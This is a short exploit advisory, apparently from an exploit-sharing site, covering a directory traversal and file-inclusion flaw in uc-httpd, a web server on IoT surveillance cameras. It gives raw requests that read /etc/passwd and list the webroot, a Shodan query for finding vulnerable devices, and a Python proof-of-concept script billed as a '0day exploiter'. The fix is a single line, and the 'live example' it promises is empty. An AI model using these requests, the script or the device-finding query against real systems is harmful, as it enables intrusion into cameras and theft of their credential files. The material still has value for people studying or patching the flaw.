uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable
to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with
around one million vulnerable surviellence cameras.

The following request can be made to display the contents of the 'passwd' file:
GET ../../../../../etc/passwd HTTP/1.0

To display a directory listing, the following request can be made:
GET ../../../../../var/www/html/ HTTP/1.0
The above request would output the contents of the webroot directory as if 'ls' command was executed

The following shodan request can be used to display vulnerable systems:
product:uc-httpd

Here is a proof of concept (written by @sxcurity):
-------------------------------------------------------------------------------------------------------------
'''
#!/usr/bin/env python
import urllib2, httplib, sys

httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'

print "[+] uc-httpd 0day exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"

host = sys.argv[1]
fd = raw_input('[+] File or Directory: ')

print "Exploiting....."
print '\n'
print urllib2.urlopen(host + '/../../../../..' + fd).read()

Here is a live example of the exploit being ran:

How to fix: Sanitize inputs, don't run your httpd as root!
